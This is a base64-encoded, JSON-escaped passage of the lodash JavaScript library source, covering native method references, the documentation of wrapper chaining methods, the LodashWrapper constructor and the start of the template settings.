LCB7fSk7XG4gICAgICAgIHJldHVybiBmdW5jO1xuICAgICAgfSBjYXRjaCAoZSkge31cbiAgICB9KCkpO1xuXG4gICAgLyoqIE1vY2tlZCBidWlsdC1pbnMuICovXG4gICAgdmFyIGN0eENsZWFyVGltZW91dCA9IGNvbnRleHQuY2xlYXJUaW1lb3V0ICE9PSByb290LmNsZWFyVGltZW91dCAmJiBjb250ZXh0LmNsZWFyVGltZW91dCxcbiAgICAgICAgY3R4Tm93ID0gRGF0ZSAmJiBEYXRlLm5vdyAhPT0gcm9vdC5EYXRlLm5vdyAmJiBEYXRlLm5vdyxcbiAgICAgICAgY3R4U2V0VGltZW91dCA9IGNvbnRleHQuc2V0VGltZW91dCAhPT0gcm9vdC5zZXRUaW1lb3V0ICYmIGNvbnRleHQuc2V0VGltZW91dDtcblxuICAgIC8qIEJ1aWx0LWluIG1ldGhvZCByZWZlcmVuY2VzIGZvciB0aG9zZSB3aXRoIHRoZSBzYW1lIG5hbWUgYXMgb3RoZXIgYGxvZGFzaGAgbWV0aG9kcy4gKi9cbiAgICB2YXIgbmF0aXZlQ2VpbCA9IE1hdGguY2VpbCxcbiAgICAgICAgbmF0aXZlRmxvb3IgPSBNYXRoLmZsb29yLFxuICAgICAgICBuYXRpdmVHZXRTeW1ib2xzID0gT2JqZWN0LmdldE93blByb3BlcnR5U3ltYm9scyxcbiAgICAgICAgbmF0aXZlSXNCdWZmZXIgPSBCdWZmZXIgPyBCdWZmZXIuaXNCdWZmZXIgOiB1bmRlZmluZWQsXG4gICAgICAgIG5hdGl2ZUlzRmluaXRlID0gY29udGV4dC5pc0Zpbml0ZSxcbiAgICAgICAgbmF0aXZlSm9pbiA9IGFycmF5UHJvdG8uam9pbixcbiAgICAgICAgbmF0aXZlS2V5cyA9IG92ZXJBcmcoT2JqZWN0LmtleXMsIE9iamVjdCksXG4gICAgICAgIG5hdGl2ZU1heCA9IE1hdGgubWF4LFxuICAgICAgICBuYXRpdmVNaW4gPSBNYXRoLm1pbixcbiAgICAgICAgbmF0aXZlTm93ID0gRGF0ZS5ub3csXG4gICAgICAgIG5hdGl2ZVBhcnNlSW50ID0gY29udGV4dC5wYXJzZUludCxcbiAgICAgICAgbmF0aXZlUmFuZG9tID0gTWF0aC5yYW5kb20sXG4gICAgICAgIG5hdGl2ZVJldmVyc2UgPSBhcnJheVByb3RvLnJldmVyc2U7XG5cbiAgICAvKiBCdWlsdC1pbiBtZXRob2QgcmVmZXJlbmNlcyB0aGF0IGFyZSB2ZXJpZmllZCB0byBiZSBuYXRpdmUuICovXG4gICAgdmFyIERhdGFWaWV3ID0gZ2V0TmF0aXZlKGNvbnRleHQsICdEYXRhVmlldycpLFxuICAgICAgICBNYXAgPSBnZXROYXRpdmUoY29udGV4dCwgJ01hcCcpLFxuICAgICAgICBQcm9taXNlID0gZ2V0TmF0aXZlKGNvbnRleHQsICdQcm9taXNlJyksXG4gICAgICAgIFNldCA9IGdldE5hdGl2ZShjb250ZXh0LCAnU2V0JyksXG4gICAgICAgIFdlYWtNYXAgPSBnZXROYXRpdmUoY29udGV4dCwgJ1dlYWtNYXAnKSxcbiAgICAgICAgbmF0aXZlQ3JlYXRlID0gZ2V0TmF0aXZlKE9iamVjdCwgJ2NyZWF0ZScpO1xuXG4gICAgLyoqIFVzZWQgdG8gc3RvcmUgZnVuY3Rpb24gbWV0YWRhdGEuICovXG4gICAgdmFyIG1ldGFNYXAgPSBXZWFrTWFwICYmIG5ldyBXZWFrTWFwO1xuXG4gICAgLyoqIFVzZWQgdG8gbG9va3VwIHVubWluaWZpZWQgZnVuY3Rpb24gbmFtZXMuICovXG4gICAgdmFyIHJlYWxOYW1lcyA9IHt9O1xuXG4gICAgLyoqIFVzZWQgdG8gZGV0ZWN0IG1hcHMsIHNldHMsIGFuZCB3ZWFrbWFwcy4gKi9cbiAgICB2YXIgZGF0YVZpZXdDdG9yU3RyaW5nID0gdG9Tb3VyY2UoRGF0YVZpZXcpLFxuICAgICAgICBtYXBDdG9yU3RyaW5nID0gdG9Tb3VyY2UoTWFwKSxcbiAgICAgICAgcHJvbWlzZUN0b3JTdHJpbmcgPSB0b1NvdXJjZShQcm9taXNlKSxcbiAgICAgICAgc2V0Q3RvclN0cmluZyA9IHRvU291cmNlKFNldCksXG4gICAgICAgIHdlYWtNYXBDdG9yU3RyaW5nID0gdG9Tb3VyY2UoV2Vha01hcCk7XG5cbiAgICAvKiogVXNlZCB0byBjb252ZXJ0IHN5bWJvbHMgdG8gcHJpbWl0aXZlcyBhbmQgc3RyaW5ncy4gKi9cbiAgICB2YXIgc3ltYm9sUHJvdG8gPSBTeW1ib2wgPyBTeW1ib2wucHJvdG90eXBlIDogdW5kZWZpbmVkLFxuICAgICAgICBzeW1ib2xWYWx1ZU9mID0gc3ltYm9sUHJvdG8gPyBzeW1ib2xQcm90by52YWx1ZU9mIDogdW5kZWZpbmVkLFxuICAgICAgICBzeW1ib2xUb1N0cmluZyA9IHN5bWJvbFByb3RvID8gc3ltYm9sUHJvdG8udG9TdHJpbmcgOiB1bmRlZmluZWQ7XG5cbiAgICAvKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovXG5cbiAgICAvKipcbiAgICAgKiBDcmVhdGVzIGEgYGxvZGFzaGAgb2JqZWN0IHdoaWNoIHdyYXBzIGB2YWx1ZWAgdG8gZW5hYmxlIGltcGxpY2l0IG1ldGhvZFxuICAgICAqIGNoYWluIHNlcXVlbmNlcy4gTWV0aG9kcyB0aGF0IG9wZXJhdGUgb24gYW5kIHJldHVybiBhcnJheXMsIGNvbGxlY3Rpb25zLFxuICAgICAqIGFuZCBmdW5jdGlvbnMgY2FuIGJlIGNoYWluZWQgdG9nZXRoZXIuIE1ldGhvZHMgdGhhdCByZXRyaWV2ZSBhIHNpbmdsZSB2YWx1ZVxuICAgICAqIG9yIG1heSByZXR1cm4gYSBwcmltaXRpdmUgdmFsdWUgd2lsbCBhdXRvbWF0aWNhbGx5IGVuZCB0aGUgY2hhaW4gc2VxdWVuY2VcbiAgICAgKiBhbmQgcmV0dXJuIHRoZSB1bndyYXBwZWQgdmFsdWUuIE90aGVyd2lzZSwgdGhlIHZhbHVlIG11c3QgYmUgdW53cmFwcGVkXG4gICAgICogd2l0aCBgXyN2YWx1ZWAuXG4gICAgICpcbiAgICAgKiBFeHBsaWNpdCBjaGFpbiBzZXF1ZW5jZXMsIHdoaWNoIG11c3QgYmUgdW53cmFwcGVkIHdpdGggYF8jdmFsdWVgLCBtYXkgYmVcbiAgICAgKiBlbmFibGVkIHVzaW5nIGBfLmNoYWluYC5cbiAgICAgKlxuICAgICAqIFRoZSBleGVjdXRpb24gb2YgY2hhaW5lZCBtZXRob2RzIGlzIGxhenksIHRoYXQgaXMsIGl0J3MgZGVmZXJyZWQgdW50aWxcbiAgICAgKiBgXyN2YWx1ZWAgaXMgaW1wbGljaXRseSBvciBleHBsaWNpdGx5IGNhbGxlZC5cbiAgICAgKlxuICAgICAqIExhenkgZXZhbHVhdGlvbiBhbGxvd3Mgc2V2ZXJhbCBtZXRob2RzIHRvIHN1cHBvcnQgc2hvcnRjdXQgZnVzaW9uLlxuICAgICAqIFNob3J0Y3V0IGZ1c2lvbiBpcyBhbiBvcHRpbWl6YXRpb24gdG8gbWVyZ2UgaXRlcmF0ZWUgY2FsbHM7IHRoaXMgYXZvaWRzXG4gICAgICogdGhlIGNyZWF0aW9uIG9mIGludGVybWVkaWF0ZSBhcnJheXMgYW5kIGNhbiBncmVhdGx5IHJlZHVjZSB0aGUgbnVtYmVyIG9mXG4gICAgICogaXRlcmF0ZWUgZXhlY3V0aW9ucy4gU2VjdGlvbnMgb2YgYSBjaGFpbiBzZXF1ZW5jZSBxdWFsaWZ5IGZvciBzaG9ydGN1dFxuICAgICAqIGZ1c2lvbiBpZiB0aGUgc2VjdGlvbiBpcyBhcHBsaWVkIHRvIGFuIGFycmF5IGFuZCBpdGVyYXRlZXMgYWNjZXB0IG9ubHlcbiAgICAgKiBvbmUgYXJndW1lbnQuIFRoZSBoZXVyaXN0aWMgZm9yIHdoZXRoZXIgYSBzZWN0aW9uIHF1YWxpZmllcyBmb3Igc2hvcnRjdXRcbiAgICAgKiBmdXNpb24gaXMgc3ViamVjdCB0byBjaGFuZ2UuXG4gICAgICpcbiAgICAgKiBDaGFpbmluZyBpcyBzdXBwb3J0ZWQgaW4gY3VzdG9tIGJ1aWxkcyBhcyBsb25nIGFzIHRoZSBgXyN2YWx1ZWAgbWV0aG9kIGlzXG4gICAgICogZGlyZWN0bHkgb3IgaW5kaXJlY3RseSBpbmNsdWRlZCBpbiB0aGUgYnVpbGQuXG4gICAgICpcbiAgICAgKiBJbiBhZGRpdGlvbiB0byBsb2Rhc2ggbWV0aG9kcywgd3JhcHBlcnMgaGF2ZSBgQXJyYXlgIGFuZCBgU3RyaW5nYCBtZXRob2RzLlxuICAgICAqXG4gICAgICogVGhlIHdyYXBwZXIgYEFycmF5YCBtZXRob2RzIGFyZTpcbiAgICAgKiBgY29uY2F0YCwgYGpvaW5gLCBgcG9wYCwgYHB1c2hgLCBgc2hpZnRgLCBgc29ydGAsIGBzcGxpY2VgLCBhbmQgYHVuc2hpZnRgXG4gICAgICpcbiAgICAgKiBUaGUgd3JhcHBlciBgU3RyaW5nYCBtZXRob2RzIGFyZTpcbiAgICAgKiBgcmVwbGFjZWAgYW5kIGBzcGxpdGBcbiAgICAgKlxuICAgICAqIFRoZSB3cmFwcGVyIG1ldGhvZHMgdGhhdCBzdXBwb3J0IHNob3J0Y3V0IGZ1c2lvbiBhcmU6XG4gICAgICogYGF0YCwgYGNvbXBhY3RgLCBgZHJvcGAsIGBkcm9wUmlnaHRgLCBgZHJvcFdoaWxlYCwgYGZpbHRlcmAsIGBmaW5kYCxcbiAgICAgKiBgZmluZExhc3RgLCBgaGVhZGAsIGBpbml0aWFsYCwgYGxhc3RgLCBgbWFwYCwgYHJlamVjdGAsIGByZXZlcnNlYCwgYHNsaWNlYCxcbiAgICAgKiBgdGFpbGAsIGB0YWtlYCwgYHRha2VSaWdodGAsIGB0YWtlUmlnaHRXaGlsZWAsIGB0YWtlV2hpbGVgLCBhbmQgYHRvQXJyYXlgXG4gICAgICpcbiAgICAgKiBUaGUgY2hhaW5hYmxlIHdyYXBwZXIgbWV0aG9kcyBhcmU6XG4gICAgICogYGFmdGVyYCwgYGFyeWAsIGBhc3NpZ25gLCBgYXNzaWduSW5gLCBgYXNzaWduSW5XaXRoYCwgYGFzc2lnbldpdGhgLCBgYXRgLFxuICAgICAqIGBiZWZvcmVgLCBgYmluZGAsIGBiaW5kQWxsYCwgYGJpbmRLZXlgLCBgY2FzdEFycmF5YCwgYGNoYWluYCwgYGNodW5rYCxcbiAgICAgKiBgY29tbWl0YCwgYGNvbXBhY3RgLCBgY29uY2F0YCwgYGNvbmZvcm1zYCwgYGNvbnN0YW50YCwgYGNvdW50QnlgLCBgY3JlYXRlYCxcbiAgICAgKiBgY3VycnlgLCBgZGVib3VuY2VgLCBgZGVmYXVsdHNgLCBgZGVmYXVsdHNEZWVwYCwgYGRlZmVyYCwgYGRlbGF5YCxcbiAgICAgKiBgZGlmZmVyZW5jZWAsIGBkaWZmZXJlbmNlQnlgLCBgZGlmZmVyZW5jZVdpdGhgLCBgZHJvcGAsIGBkcm9wUmlnaHRgLFxuICAgICAqIGBkcm9wUmlnaHRXaGlsZWAsIGBkcm9wV2hpbGVgLCBgZXh0ZW5kYCwgYGV4dGVuZFdpdGhgLCBgZmlsbGAsIGBmaWx0ZXJgLFxuICAgICAqIGBmbGF0TWFwYCwgYGZsYXRNYXBEZWVwYCwgYGZsYXRNYXBEZXB0aGAsIGBmbGF0dGVuYCwgYGZsYXR0ZW5EZWVwYCxcbiAgICAgKiBgZmxhdHRlbkRlcHRoYCwgYGZsaXBgLCBgZmxvd2AsIGBmbG93UmlnaHRgLCBgZnJvbVBhaXJzYCwgYGZ1bmN0aW9uc2AsXG4gICAgICogYGZ1bmN0aW9uc0luYCwgYGdyb3VwQnlgLCBgaW5pdGlhbGAsIGBpbnRlcnNlY3Rpb25gLCBgaW50ZXJzZWN0aW9uQnlgLFxuICAgICAqIGBpbnRlcnNlY3Rpb25XaXRoYCwgYGludmVydGAsIGBpbnZlcnRCeWAsIGBpbnZva2VNYXBgLCBgaXRlcmF0ZWVgLCBga2V5QnlgLFxuICAgICAqIGBrZXlzYCwgYGtleXNJbmAsIGBtYXBgLCBgbWFwS2V5c2AsIGBtYXBWYWx1ZXNgLCBgbWF0Y2hlc2AsIGBtYXRjaGVzUHJvcGVydHlgLFxuICAgICAqIGBtZW1vaXplYCwgYG1lcmdlYCwgYG1lcmdlV2l0aGAsIGBtZXRob2RgLCBgbWV0aG9kT2ZgLCBgbWl4aW5gLCBgbmVnYXRlYCxcbiAgICAgKiBgbnRoQXJnYCwgYG9taXRgLCBgb21pdEJ5YCwgYG9uY2VgLCBgb3JkZXJCeWAsIGBvdmVyYCwgYG92ZXJBcmdzYCxcbiAgICAgKiBgb3ZlckV2ZXJ5YCwgYG92ZXJTb21lYCwgYHBhcnRpYWxgLCBgcGFydGlhbFJpZ2h0YCwgYHBhcnRpdGlvbmAsIGBwaWNrYCxcbiAgICAgKiBgcGlja0J5YCwgYHBsYW50YCwgYHByb3BlcnR5YCwgYHByb3BlcnR5T2ZgLCBgcHVsbGAsIGBwdWxsQWxsYCwgYHB1bGxBbGxCeWAsXG4gICAgICogYHB1bGxBbGxXaXRoYCwgYHB1bGxBdGAsIGBwdXNoYCwgYHJhbmdlYCwgYHJhbmdlUmlnaHRgLCBgcmVhcmdgLCBgcmVqZWN0YCxcbiAgICAgKiBgcmVtb3ZlYCwgYHJlc3RgLCBgcmV2ZXJzZWAsIGBzYW1wbGVTaXplYCwgYHNldGAsIGBzZXRXaXRoYCwgYHNodWZmbGVgLFxuICAgICAqIGBzbGljZWAsIGBzb3J0YCwgYHNvcnRCeWAsIGBzcGxpY2VgLCBgc3ByZWFkYCwgYHRhaWxgLCBgdGFrZWAsIGB0YWtlUmlnaHRgLFxuICAgICAqIGB0YWtlUmlnaHRXaGlsZWAsIGB0YWtlV2hpbGVgLCBgdGFwYCwgYHRocm90dGxlYCwgYHRocnVgLCBgdG9BcnJheWAsXG4gICAgICogYHRvUGFpcnNgLCBgdG9QYWlyc0luYCwgYHRvUGF0aGAsIGB0b1BsYWluT2JqZWN0YCwgYHRyYW5zZm9ybWAsIGB1bmFyeWAsXG4gICAgICogYHVuaW9uYCwgYHVuaW9uQnlgLCBgdW5pb25XaXRoYCwgYHVuaXFgLCBgdW5pcUJ5YCwgYHVuaXFXaXRoYCwgYHVuc2V0YCxcbiAgICAgKiBgdW5zaGlmdGAsIGB1bnppcGAsIGB1bnppcFdpdGhgLCBgdXBkYXRlYCwgYHVwZGF0ZVdpdGhgLCBgdmFsdWVzYCxcbiAgICAgKiBgdmFsdWVzSW5gLCBgd2l0aG91dGAsIGB3cmFwYCwgYHhvcmAsIGB4b3JCeWAsIGB4b3JXaXRoYCwgYHppcGAsXG4gICAgICogYHppcE9iamVjdGAsIGB6aXBPYmplY3REZWVwYCwgYW5kIGB6aXBXaXRoYFxuICAgICAqXG4gICAgICogVGhlIHdyYXBwZXIgbWV0aG9kcyB0aGF0IGFyZSAqKm5vdCoqIGNoYWluYWJsZSBieSBkZWZhdWx0IGFyZTpcbiAgICAgKiBgYWRkYCwgYGF0dGVtcHRgLCBgY2FtZWxDYXNlYCwgYGNhcGl0YWxpemVgLCBgY2VpbGAsIGBjbGFtcGAsIGBjbG9uZWAsXG4gICAgICogYGNsb25lRGVlcGAsIGBjbG9uZURlZXBXaXRoYCwgYGNsb25lV2l0aGAsIGBjb25mb3Jtc1RvYCwgYGRlYnVycmAsXG4gICAgICogYGRlZmF1bHRUb2AsIGBkaXZpZGVgLCBgZWFjaGAsIGBlYWNoUmlnaHRgLCBgZW5kc1dpdGhgLCBgZXFgLCBgZXNjYXBlYCxcbiAgICAgKiBgZXNjYXBlUmVnRXhwYCwgYGV2ZXJ5YCwgYGZpbmRgLCBgZmluZEluZGV4YCwgYGZpbmRLZXlgLCBgZmluZExhc3RgLFxuICAgICAqIGBmaW5kTGFzdEluZGV4YCwgYGZpbmRMYXN0S2V5YCwgYGZpcnN0YCwgYGZsb29yYCwgYGZvckVhY2hgLCBgZm9yRWFjaFJpZ2h0YCxcbiAgICAgKiBgZm9ySW5gLCBgZm9ySW5SaWdodGAsIGBmb3JPd25gLCBgZm9yT3duUmlnaHRgLCBgZ2V0YCwgYGd0YCwgYGd0ZWAsIGBoYXNgLFxuICAgICAqIGBoYXNJbmAsIGBoZWFkYCwgYGlkZW50aXR5YCwgYGluY2x1ZGVzYCwgYGluZGV4T2ZgLCBgaW5SYW5nZWAsIGBpbnZva2VgLFxuICAgICAqIGBpc0FyZ3VtZW50c2AsIGBpc0FycmF5YCwgYGlzQXJyYXlCdWZmZXJgLCBgaXNBcnJheUxpa2VgLCBgaXNBcnJheUxpa2VPYmplY3RgLFxuICAgICAqIGBpc0Jvb2xlYW5gLCBgaXNCdWZmZXJgLCBgaXNEYXRlYCwgYGlzRWxlbWVudGAsIGBpc0VtcHR5YCwgYGlzRXF1YWxgLFxuICAgICAqIGBpc0VxdWFsV2l0aGAsIGBpc0Vycm9yYCwgYGlzRmluaXRlYCwgYGlzRnVuY3Rpb25gLCBgaXNJbnRlZ2VyYCwgYGlzTGVuZ3RoYCxcbiAgICAgKiBgaXNNYXBgLCBgaXNNYXRjaGAsIGBpc01hdGNoV2l0aGAsIGBpc05hTmAsIGBpc05hdGl2ZWAsIGBpc05pbGAsIGBpc051bGxgLFxuICAgICAqIGBpc051bWJlcmAsIGBpc09iamVjdGAsIGBpc09iamVjdExpa2VgLCBgaXNQbGFpbk9iamVjdGAsIGBpc1JlZ0V4cGAsXG4gICAgICogYGlzU2FmZUludGVnZXJgLCBgaXNTZXRgLCBgaXNTdHJpbmdgLCBgaXNVbmRlZmluZWRgLCBgaXNUeXBlZEFycmF5YCxcbiAgICAgKiBgaXNXZWFrTWFwYCwgYGlzV2Vha1NldGAsIGBqb2luYCwgYGtlYmFiQ2FzZWAsIGBsYXN0YCwgYGxhc3RJbmRleE9mYCxcbiAgICAgKiBgbG93ZXJDYXNlYCwgYGxvd2VyRmlyc3RgLCBgbHRgLCBgbHRlYCwgYG1heGAsIGBtYXhCeWAsIGBtZWFuYCwgYG1lYW5CeWAsXG4gICAgICogYG1pbmAsIGBtaW5CeWAsIGBtdWx0aXBseWAsIGBub0NvbmZsaWN0YCwgYG5vb3BgLCBgbm93YCwgYG50aGAsIGBwYWRgLFxuICAgICAqIGBwYWRFbmRgLCBgcGFkU3RhcnRgLCBgcGFyc2VJbnRgLCBgcG9wYCwgYHJhbmRvbWAsIGByZWR1Y2VgLCBgcmVkdWNlUmlnaHRgLFxuICAgICAqIGByZXBlYXRgLCBgcmVzdWx0YCwgYHJvdW5kYCwgYHJ1bkluQ29udGV4dGAsIGBzYW1wbGVgLCBgc2hpZnRgLCBgc2l6ZWAsXG4gICAgICogYHNuYWtlQ2FzZWAsIGBzb21lYCwgYHNvcnRlZEluZGV4YCwgYHNvcnRlZEluZGV4QnlgLCBgc29ydGVkTGFzdEluZGV4YCxcbiAgICAgKiBgc29ydGVkTGFzdEluZGV4QnlgLCBgc3RhcnRDYXNlYCwgYHN0YXJ0c1dpdGhgLCBgc3R1YkFycmF5YCwgYHN0dWJGYWxzZWAsXG4gICAgICogYHN0dWJPYmplY3RgLCBgc3R1YlN0cmluZ2AsIGBzdHViVHJ1ZWAsIGBzdWJ0cmFjdGAsIGBzdW1gLCBgc3VtQnlgLFxuICAgICAqIGB0ZW1wbGF0ZWAsIGB0aW1lc2AsIGB0b0Zpbml0ZWAsIGB0b0ludGVnZXJgLCBgdG9KU09OYCwgYHRvTGVuZ3RoYCxcbiAgICAgKiBgdG9Mb3dlcmAsIGB0b051bWJlcmAsIGB0b1NhZmVJbnRlZ2VyYCwgYHRvU3RyaW5nYCwgYHRvVXBwZXJgLCBgdHJpbWAsXG4gICAgICogYHRyaW1FbmRgLCBgdHJpbVN0YXJ0YCwgYHRydW5jYXRlYCwgYHVuZXNjYXBlYCwgYHVuaXF1ZUlkYCwgYHVwcGVyQ2FzZWAsXG4gICAgICogYHVwcGVyRmlyc3RgLCBgdmFsdWVgLCBhbmQgYHdvcmRzYFxuICAgICAqXG4gICAgICogQG5hbWUgX1xuICAgICAqIEBjb25zdHJ1Y3RvclxuICAgICAqIEBjYXRlZ29yeSBTZXFcbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byB3cmFwIGluIGEgYGxvZGFzaGAgaW5zdGFuY2UuXG4gICAgICogQHJldHVybnMge09iamVjdH0gUmV0dXJucyB0aGUgbmV3IGBsb2Rhc2hgIHdyYXBwZXIgaW5zdGFuY2UuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIGZ1bmN0aW9uIHNxdWFyZShuKSB7XG4gICAgICogICByZXR1cm4gbiAqIG47XG4gICAgICogfVxuICAgICAqXG4gICAgICogdmFyIHdyYXBwZWQgPSBfKFsxLCAyLCAzXSk7XG4gICAgICpcbiAgICAgKiAvLyBSZXR1cm5zIGFuIHVud3JhcHBlZCB2YWx1ZS5cbiAgICAgKiB3cmFwcGVkLnJlZHVjZShfLmFkZCk7XG4gICAgICogLy8gPT4gNlxuICAgICAqXG4gICAgICogLy8gUmV0dXJucyBhIHdyYXBwZWQgdmFsdWUuXG4gICAgICogdmFyIHNxdWFyZXMgPSB3cmFwcGVkLm1hcChzcXVhcmUpO1xuICAgICAqXG4gICAgICogXy5pc0FycmF5KHNxdWFyZXMpO1xuICAgICAqIC8vID0+IGZhbHNlXG4gICAgICpcbiAgICAgKiBfLmlzQXJyYXkoc3F1YXJlcy52YWx1ZSgpKTtcbiAgICAgKiAvLyA9PiB0cnVlXG4gICAgICovXG4gICAgZnVuY3Rpb24gbG9kYXNoKHZhbHVlKSB7XG4gICAgICBpZiAoaXNPYmplY3RMaWtlKHZhbHVlKSAmJiAhaXNBcnJheSh2YWx1ZSkgJiYgISh2YWx1ZSBpbnN0YW5jZW9mIExhenlXcmFwcGVyKSkge1xuICAgICAgICBpZiAodmFsdWUgaW5zdGFuY2VvZiBMb2Rhc2hXcmFwcGVyKSB7XG4gICAgICAgICAgcmV0dXJuIHZhbHVlO1xuICAgICAgICB9XG4gICAgICAgIGlmIChoYXNPd25Qcm9wZXJ0eS5jYWxsKHZhbHVlLCAnX193cmFwcGVkX18nKSkge1xuICAgICAgICAgIHJldHVybiB3cmFwcGVyQ2xvbmUodmFsdWUpO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgICByZXR1cm4gbmV3IExvZGFzaFdyYXBwZXIodmFsdWUpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBfLmNyZWF0ZWAgd2l0aG91dCBzdXBwb3J0IGZvciBhc3NpZ25pbmdcbiAgICAgKiBwcm9wZXJ0aWVzIHRvIHRoZSBjcmVhdGVkIG9iamVjdC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtPYmplY3R9IHByb3RvIFRoZSBvYmplY3QgdG8gaW5oZXJpdCBmcm9tLlxuICAgICAqIEByZXR1cm5zIHtPYmplY3R9IFJldHVybnMgdGhlIG5ldyBvYmplY3QuXG4gICAgICovXG4gICAgdmFyIGJhc2VDcmVhdGUgPSAoZnVuY3Rpb24oKSB7XG4gICAgICBmdW5jdGlvbiBvYmplY3QoKSB7fVxuICAgICAgcmV0dXJuIGZ1bmN0aW9uKHByb3RvKSB7XG4gICAgICAgIGlmICghaXNPYmplY3QocHJvdG8pKSB7XG4gICAgICAgICAgcmV0dXJuIHt9O1xuICAgICAgICB9XG4gICAgICAgIGlmIChvYmplY3RDcmVhdGUpIHtcbiAgICAgICAgICByZXR1cm4gb2JqZWN0Q3JlYXRlKHByb3RvKTtcbiAgICAgICAgfVxuICAgICAgICBvYmplY3QucHJvdG90eXBlID0gcHJvdG87XG4gICAgICAgIHZhciByZXN1bHQgPSBuZXcgb2JqZWN0O1xuICAgICAgICBvYmplY3QucHJvdG90eXBlID0gdW5kZWZpbmVkO1xuICAgICAgICByZXR1cm4gcmVzdWx0O1xuICAgICAgfTtcbiAgICB9KCkpO1xuXG4gICAgLyoqXG4gICAgICogVGhlIGZ1bmN0aW9uIHdob3NlIHByb3RvdHlwZSBjaGFpbiBzZXF1ZW5jZSB3cmFwcGVycyBpbmhlcml0IGZyb20uXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGJhc2VMb2Rhc2goKSB7XG4gICAgICAvLyBObyBvcGVyYXRpb24gcGVyZm9ybWVkLlxuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGNvbnN0cnVjdG9yIGZvciBjcmVhdGluZyBgbG9kYXNoYCB3cmFwcGVyIG9iamVjdHMuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIHdyYXAuXG4gICAgICogQHBhcmFtIHtib29sZWFufSBbY2hhaW5BbGxdIEVuYWJsZSBleHBsaWNpdCBtZXRob2QgY2hhaW4gc2VxdWVuY2VzLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIExvZGFzaFdyYXBwZXIodmFsdWUsIGNoYWluQWxsKSB7XG4gICAgICB0aGlzLl9fd3JhcHBlZF9fID0gdmFsdWU7XG4gICAgICB0aGlzLl9fYWN0aW9uc19fID0gW107XG4gICAgICB0aGlzLl9fY2hhaW5fXyA9ICEhY2hhaW5BbGw7XG4gICAgICB0aGlzLl9faW5kZXhfXyA9IDA7XG4gICAgICB0aGlzLl9fdmFsdWVzX18gPSB1bmRlZmluZWQ7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQnkgZGVmYXVsdCwgdGhlIHRlbXBsYXRlIGRlbGltaXRlcnMgdXNlZCBieSBsb2Rhc2ggYXJlIGxpa2UgdGhvc2UgaW5cbiAgICAgKiBlbWJlZGRlZCBSdWJ5IChFUkIpIGFzIHdlbGwgYXMgRVMyMDE1IHRlbXBsYXRlIHN0cmluZ3MuIENoYW5nZSB0aGVcbiAgICAgKiBmb2xsb3dpbmcgdGVtcGxhdGUgc2V0dGluZ3MgdG8gdXNlIGFsdGVybmF0aXZlIGRlbGltaXRlcnMuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAdHlwZSB7T2JqZWN0fVxuICAgICAqL1xuICAgIGxvZGFzaC50ZW1wbGF0ZVNldHRpbmdzID0ge1xuXG4gICAgICAvKipcbiAgICAgICAqIFVzZWQgdG8gZGV0ZWN0IGBkYXRhYCBwcm9wZXJ0eSB2YWx1ZXMgdG8gYmUgSFRNTC1lc2NhcGVkLlxuICAgICAgICpcbiAgICAgICAqIEBtZW1iZXJPZiBfLnRlbXBsYXRlU2V0dGluZ3NcbiAgICAgICAqIEB0eXBlIHtSZWdFeHB9XG4gICAgICAgKi9cbiAgICAgICdlc2NhcGUnOiByZUVzY2FwZSxcblxuICAgICAgLyoqXG4gICAgICAgKiBVc2VkIHRvIGRldGVjdCBjb2RlIHRvIGJlIGV2YWx1YXRlZC5cbiAgICAgICAqXG4gICAgICAgKiBAbWVtYmVyT2YgXy50ZW1wbGF0ZVNldHRpbmdzXG4gICAgICAgKiBAdHlwZSB7UmVnRXhwfVxuICAgICAgICovXG4gICAgICAnZXZhbHVhdGUnOiByZUV2YWx1YXRlLFxuXG4gICAgICAvKipcbiAgICAgICAqIFVzZWQgdG8gZGV0ZWN0IGBkYXRhYCBwcm9wZXJ0eSB2YWx1ZXMgdG8gaW5qZWN0LlxuICAgICAgICpcbiAgICAgICAqIEBtZW1iZXJPZiBfLnRlbXBsYXRlU2V0dGluZ3NcbiAgICAgICAqIEB0eXBlIHtSZWdFeHB9XG4gICAgICAgKi9cbiAgICAgICdpbnRlcnBvbGF0ZSc6IHJlSW50ZXJwb2xhdGUsXG5cbiAgICAgIC8qKlxuICAgICAgICogVXNlZCB0byByZWZlcmVuY2UgdGhlIGRhdGEgb2JqZWN0IGluIHRoZSB0ZW1wbGF0ZSB0ZXh0LlxuICAgICAgICpcbiAgICAgICAqIEBtZW1iZXJPZiBfLnRlbXBsYXRlU2V0dGluZ3NcbiAgICAgICAqIEB0eXBlIHtzdHJpbmd9XG4gICAgICAgKi9cbiAgICAgICd2YXJpYWJsZSc6ICcnLFxuXG4gICAgICAvKipcbiAgICAgICAqIFVzZWQgdG8gaW1wb3J0IHZhcmlhYmxlcyBpbnRvIHRoZSBjb21waWxlZCB0ZW1wbGF0ZS5cbiAgICAgICAqXG4gICAgICAgKiBAbWVtYmVyT2YgXy50ZW1wbGF0ZVNldHRpbmdzXG4gICAgICAgKiBAdHlwZSB7T2JqZWN0fVxuICAgICAgICovXG4gICAgICAnaW1wb3J0cyc6IHtcblxuICAgICAgICAvKipcbiAgICAgICAgICogQSByZWZlcmVuY2UgdG8gdGhlIGBsb2Rhc2hgIGZ1bmN0aW9uLlxuICAgICAgICAgKlxuICAgICAgICAgKiBAbWVtYmVyT2YgXy50ZW1wbGF0ZVNldHRpbmdzLmltcG9ydHNcbiAgICAgICAgICogQHR5cGUge0Z1bmN0aW9ufVxuICAgICAgICAgKi9cbiAgICAg